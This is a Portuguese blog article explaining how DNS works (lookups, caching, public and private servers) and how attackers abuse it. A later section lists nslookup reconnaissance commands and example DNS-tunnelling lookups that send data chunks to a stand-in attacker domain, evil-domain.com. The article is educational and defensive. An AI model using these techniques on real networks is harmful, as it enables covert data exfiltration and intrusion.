O Domain Name System (DNS) é como se fosse a “lista telefônica” da Internet. Nos tempos antigos, quando você precisava encontrar o endereço de uma empresa, procurava nas “listas telefônicas”. O DNS é exatamente assim, exceto que você não precisa procurar nada: seu computador conectado à Internet faz isso por você. Portanto, é assim que seu computador sabe como encontrar o Google , ESPN.com ou Facebook.

Veja também o que é uma rede VPN!

Para que dois computadores se comuniquem em uma determinada rede IP, o protocolo determina que eles precisam de um endereço IP. Portanto, pense em um endereço IP como um endereço de rua – para um computador “localizar” outro, eles precisam saber o número do outro computador. Além disso, como a maioria dos seres humanos é melhor em lembrar nomes do que números, eles precisavam de um programa para computadores converterem nomes em endereços IP.

O programa para converter nomes em números e vice-versa é chamado de “DNS” ou “Domain Name System”, e os computadores que executam o DNS são chamados de “servidores DNS”. Sem ele, teríamos que lembrar o endereço IP de qualquer servidor ao qual queríamos nos conectar.

Como o DNS funciona?

O DNS é parte integrante da Internet e é importante entender como ele funciona.

Pense nele como uma lista telefônica, mas em vez de mapear os nomes das pessoas para seus endereços, a lista telefônica mapeia nomes de computadores para endereços IP. Dessa forma, cada mapeamento é chamado de “registro DNS”.

A internet tem muitos computadores, portanto não faz sentido colocar todos os registros em um grande livro. Em vez disso, o DNS é organizado em livros ou domínios menores. Os domínios podem ser muito grandes e, portanto, são organizados em livros menores, chamados de “zonas”. Nenhum servidor desse tipo armazena todos os livros, já que isso seria impraticável.

Em vez disso, existem muitos servidores que armazenam todos os registros DNS da Internet. Dessa forma, qualquer computador que queira saber um número ou um nome pode perguntar ao servidor, e o servidor saberá como perguntar – ou consultar – outros servidores quando eles precisam de um registro. Quando um servidor consulta outros servidores, está fazendo uma consulta “upstream”. As consultas para um domínio podem ir “upstream” até que retornem à autoridade do domínio, ou “servidor de nome autorizado”.

Um servidor de nomes com autoridade é onde os administradores gerenciam nomes de servidor e endereços IP para seus domínios. Dessa forma, sempre que um administrador DNS deseja adicionar, alterar ou excluir um nome de servidor ou endereço IP, ele faz uma alteração no servidor autoritativo (às vezes chamado de “servidor mestre”). Além disso, também existem servidores “escravos”. Esses servidores mantêm cópias dos registros para suas zonas e domínios.

Reprodução/Varonis

Os quatro servidores que carregam uma página da Web

  • Recursor DNS: o recursor é o servidor que responde a uma consulta DNS e solicita outro servidor pelo endereço ou já possui o endereço IP do site salvo;
  • Servidor de nomes raiz: um servidor de nomes raiz é o servidor de nomes para a zona raiz. Dessa forma, ele responde a solicitações diretas e pode retornar uma lista de servidores de nomes com autoridade para o domínio de nível superior correspondente;
  • Servidor de nomes de TLDs: O servidor de domínio de nível superior (TLD) é um dos servidores de nível superior na Internet. Ao pesquisar no Geek Blog um servidor de TLD para o “.com” responderá primeiro e o DNS procurará “Geek Blog”;
  • Servidor de nomes com autoridade: o servidor de nomes com autoridade é a parada final para uma consulta DNS. Dessa forma, o servidor de nomes com autoridade possui o registro para a solicitação.

Tipos de serviço DNS

Existem dois tipos distintos de serviços DNS na Internet. Cada um desses serviços manipula as consultas de maneira diferente, dependendo de sua função.

  • Resolvedor de DNS recursivo: um resolvedor de DNS recursivo é o servidor que responde à consulta e procura o servidor de nomes autoritativos ou um resultado em cache para o nome solicitado;
  • Servidor autoritativo: um servidor autoritativo armazena a solicitação DNS. Portanto, se você solicitar um servidor autorizado para um de seus endereços IP, ele não precisará perguntar a mais ninguém. Dessa forma, o servidor de nomes com autoridade é a autoridade final sobre esses nomes e endereços IP.

DNS público e privado

O DNS foi criado para que as pessoas pudessem se conectar aos serviços na Internet. Dessa forma, para que um servidor esteja acessível na Internet pública, ele precisa de um registro público e seu endereço IP precisa estar acessível na Internet – o que significa que não é bloqueado por um firewall. Os servidores públicos são acessíveis a qualquer pessoa que possa se conectar a eles e não exigir autenticação.

Curiosamente, nem todos os registros DNS são públicos. Hoje, além de permitir que os funcionários usem o DNS para encontrar coisas na internet, as organizações usam o DNS para que seus funcionários possam encontrar servidores internos privados. Quando uma organização deseja manter os nomes de servidores e endereços IP privados, ou não pode ser acessados ??diretamente da Internet, eles não os listam em servidores públicos. Em vez disso, as organizações os listam em servidores privados ou internos – servidores internos armazenam nomes e endereços IP para servidores de arquivos internos, servidores de correio, controladores de domínio, servidores de banco de dados, servidores de aplicativos e etc.

Algo a lembrar – como servidores externos, servidores internos não requerem autenticação. Isso porque o DNS foi criado há muito tempo, quando a segurança não era uma preocupação tão grande. Dessa forma, na maioria das vezes, qualquer pessoa dentro do firewall – por infiltração ou conectada por meio de uma VPN – pode consultar servidores internos. Além disso, a única coisa que impede alguém de fora de acessar e consultar servidores internos é que eles não podem se conectar a eles diretamente.

Diferença entre o DNS público e o privado de forma “resumida”

  • Público: para que um servidor esteja acessível na Internet pública, ele precisa de um registro DNS público e seu endereço IP precisa estar acessível na Internet;
  • Privado: os computadores que vivem atrás de um firewall ou em uma rede interna usam um registro DNS privado para que os computadores locais possam identificá-los pelo nome. Dessa forma, usuários externos na internet não terão acesso direto a esses computadores.

7 etapas em uma pesquisa de DNS

Vamos ver exatamente como uma solicitação de DNS funciona.

  1. Uma solicitação de DNS é iniciada quando você tenta acessar um computador na Internet. Por exemplo, você digita www.google.com na barra de endereços do navegador;
  2. A primeira parada para a solicitação DNS é o cache local. À medida que você acessa computadores diferentes, esses endereços IP são armazenados em um repositório local. Por exemplo, se você visitou o Google antes, você tem o endereço IP no seu cache;
  3. Se você não tiver o endereço IP no cache local, o DNS verificará com um servidor recursivo. Sua equipe de TI ou provedor de serviços de Internet (ISP) geralmente fornece um servidor recursivo para esse fim;
  4. O servidor recursivo possui seu próprio cache e, se tiver o endereço IP, ele o retornará. Caso contrário, ele perguntará a outro servidor;
  5. A próxima parada são os servidores de nomes de TLDs, nesse caso, o servidor de nomes de TLDs dos endereços .com. Esses servidores não têm o endereço IP de que precisamos, mas podem enviar a solicitação de DNS na direção certa;
  6. O que os servidores de nomes de TLDs possuem é o local do servidor de nomes autorizado para o site solicitado. O servidor de nomes autorizado responde com o endereço IP do Google e o servidor recursivo o armazena no cache local e retorna o endereço para o seu computador.
  7. Seu serviço DNS local obtém o endereço IP e se conecta ao site do Google para baixar todo o conteúdo do site. O DNS registra o endereço IP no cache local com um valor de tempo de vida (TTL). O TTL é a quantidade de tempo que o registro local é válido e, após esse período, o DNS passará pelo processo novamente quando você solicitar o site do Google na próxima vez.

O que são tipos de consultas DNS?

As consultas DNS são o código do computador que informa aos servidores que tipo de consulta é e quais informações ele deseja retornar. Existem três consultas básicas em uma pesquisa DNS padrão.

  • Consulta recursiva: em uma consulta recursiva, o computador solicita um endereço IP ou a confirmação de que o servidor não conhece esse endereço IP;
  • Consulta iterativa: uma consulta iterativa que o solicitante solicita a um servidor a melhor resposta que ele tem. Dessa forma, se o servidor não tiver o endereço IP, ele retornará o servidor de nomes com autoridade ou o servidor de nomes de TLD. O solicitante continuará esse processo iterativo até encontrar uma resposta ou atingir o tempo limite;
  • Consulta não recursiva: um resolvedor de DNS usará essa consulta para encontrar um endereço IP que não possui em seu cache. Eles são limitados a uma única solicitação para limitar o uso da largura de banda da rede.
dns
Reprodução/Varonis

O que é cache DNS + funções de cache

O cache DNS é um repositório de nomes de domínio e endereços IP armazenados em um computador, portanto, não é necessário solicitar o endereço IP sempre. Portanto, imagine se toda vez que um usuário tentasse acessar o site do Geek Blog, o DNS tivesse que consultar o servidor de nomes autorizado do Geek Blog. O tráfego seria esmagador! O próprio pensamento de tanto tráfego é o motivo pelo qual temos cache de DNS. Dessa forma, o cache do DNS tem dois objetivos principais:

  • Acelerar solicitações de DNS;
  • Reduzir a largura de banda das solicitações de DNS na Internet.

A metodologia de cache tem alguns problemas, no entanto:

  • As alterações no DNS precisam de tempo para se propagar – o que significa que pode demorar um pouco até que cada servidor tenha seu cache atualizado para os dados IP mais recentes;
  • O cache do DNS é um vetor de ataque em potencial para hackers.

Existem alguns tipos diferentes de cache de DNS usados ??na Internet:

  • Cache do DNS do navegador: os navegadores atuais em 2018 criaram a funcionalidade de cache do DNS. Dessa forma, a resolução de um DNS com o cache local é rápida e eficiente;
  • Cache do DNS do sistema operacional (SO): seu computador é um cliente e existe um serviço no seu computador que gerencia a resolução e solicitações de DNS. Esse cache DNS também é local e, portanto, rápido e não requer largura de banda.
  • Armazenamento em cache DNS de resolução recursiva: cada recursor possui um cache e armazena qualquer endereço IP que ele saiba usar para a próxima solicitação

Fraquezas e vulnerabilidades do DNS

Existem três principais vulnerabilidades com o DNS a serem observadas, que os invasores costumam explorar:

  1. Os servidores internos mantêm todos os nomes e endereços IP de seus domínios e os compartilharão com qualquer pessoa que solicitar. Isso faz do DNS uma ótima fonte de informações para os invasores quando eles estão tentando fazer um reconhecimento interno;
  2. Os caches de DNS não são “oficiais” e podem ser manipulados. Se o seu servidor estiver “envenenado” com registros incorretos, os computadores poderão ser enganados e entrar em lugares ruins;
  3. As retransmissões de DNS consultam informações de estações de trabalho internas para servidores externos e os invasores aprenderam como usar esse comportamento para criar “canais secretos” para filtrar dados.
Reprodução/Varonis

Use o DNS para reconhecimento

Quando um invasor está dentro de um firewall e tem o controle de um computador, ele pode usar o DNS para encontrar nomes importantes de servidores. Dessa forma, os invasores podem procurar nomes associados a endereços IP internos – servidores de correio, servidores de nomes – todo tipo de material valioso. Se tiverem conhecimento suficiente, podem até obter um servidor interno para enviar muitas informações sobre as zonas de seu domínio – isso é chamado de “ataque de transferência de zona DNS”.

Caso você possua um computador Windows, execute os seguintes comandos como estão; se você é usuário do Linux, há comandos correspondentes que podem ser consultados.

  1. Primeiramente, abra um prompt de comando (digite Ctrl + esc, as letras “cmd” e digite);
  2. Em segudia, digite “ipconfig”;
  3. Agora, você verá o domínio DNS em que está, seu endereço IP e várias outras coisas;
  4. Em seguida, digite “nslookup [endereço IP]”. Dessa forma, você verá o nome do servidor que está respondendo e, se o nome for conhecido, o registro DNS listando o nome e o endereço IP;
  5. nslookup –type = soa [seu domínio]“. Este comando retorna seu servidor autoritário, isso não seria útil se você estivesse tentando se infiltrar em uma rede;
  6. nslookup –type = MX [seu domínio]“. Esse comando retorna todos os servidores de correio do seu domínio local, caso você queira invadir servidores de correio e não saiba onde eles estão.

Usar DNS para redirecionar tráfego

Lembre-se, quando um usuário tenta navegar em um site, o computador consulta o servidor em busca do endereço IP do site ou registro. Se o servidor tiver uma cópia em cache do registro, ele responderá. Caso contrário, ele consulta um servidor “upstream”, retransmite os resultados para o usuário final e os armazena em cache para a próxima vez.

Os invasores descobriram uma maneira de falsificar as respostas do DNS ou fazer com que as respostas pareçam vir de servidores legítimos. Sem ser excessivamente técnico, os atacantes aproveitam três pontos fracos no DNS para fazer isso:

  1. O DNS executa uma validação muito fraca nas respostas provenientes de servidores upstream. As respostas precisam apenas conter o ID da transação correto, que é apenas um número de 16 bits (0-65536). Da mesma forma que você não precisa de tantas pessoas em uma sala para que as probabilidades favoreçam duas delas tendo o mesmo aniversário, acontece que é mais fácil adivinhar a identificação correta do que você imagina;
  2. Os servidores aceitam respostas simultâneas (ou quase simultâneas) às suas solicitações, permitindo que os invasores façam várias suposições sobre o ID da transação (que é como um ataque de força bruta contra uma senha).;
  3. As conexões IP usadas pelo DNS são fáceis de “falsificar”. Isso significa que um invasor pode enviar tráfego para um servidor de um computador e parecer que ele vem de outro computador, como um servidor válido. Apenas certos tipos de conexões IP são fáceis de falsificar – o DNS é um deles.

Exemplo de invasão

Aqui está um exemplo: digamos que um invasor saiba que sua organização usa um aplicativo externo para algo importante, como despesas. Se eles envenenarem o servidor da sua organização para enviar cada usuário ao servidor do invasor, tudo o que eles precisam fazer é criar uma página de login legítima e os usuários inserirão suas credenciais. Dessa forma, eles podem até retransmitir o tráfego para o servidor real (agindo como um “homem do meio”), para que ninguém perceba. O invasor pode tentar essas credenciais em outros sistemas, vendê-las ou apenas comemorar com uma risada “maligna”.

Use o DNS como um canal secreto

Digamos que um invasor tenha conseguido entrar em uma rede (corp.com), comprometido um host ou dois e encontrado dados críticos que deseja exfiltrar. Como eles podem fazer isso sem disparar nenhum alarme? Os invasores usam uma técnica chamada  “tunelamento de DNS”  para fazer exatamente isso. Eles configuram um domínio (evil-domain.com, por exemplo) na Internet e criam um servidor de nomes com autoridade. Em seguida, no host comprometido, o invasor pode usar um programa que divide os dados em pequenos pedaços e os insere em uma série de pesquisas, como:

  • nslookup My1secret1.evil-domain.com;
  • nslookup é1que1I1know.domínio-dominio.com.
  • nsllookup how2steal1data.evil-domain.com.

O servidor do corp.com receberá essas solicitações, perceberá que os resultados não estão em seu cache e retransmitirá essas solicitações de volta ao servidor de nomes autorizado do evil-domain.com. O invasor espera esse tráfego, portanto, executa um programa no servidor de nomes autoritário para extrair a primeira parte da consulta (tudo antes de evil-domain.com) e remontá-la. Dessa forma, a menos que a organização esteja inspecionando as consultas feitas por seus servidores, elas podem nunca perceber que seus servidores foram usados ??para filtrar dados.

O DNS existe há muito tempo e todos os computadores conectados à Internet dependem dele. Dessa forma, os atacantes agora usam DNS para reconhecimento externo e interno, para sequestrar tráfego e criar canais de comunicação secretos. Felizmente, monitorando servidores e aplicando análises de segurança, muitos desses ataques podem ser detectados e frustrados.

Gostou? O que achou? Deixe seu comentário. Além disso, não se esqueça de entrar no nosso grupo do Telegram. É só clicar em “Canal do Telegram” que está localizado no canto superior direito da página!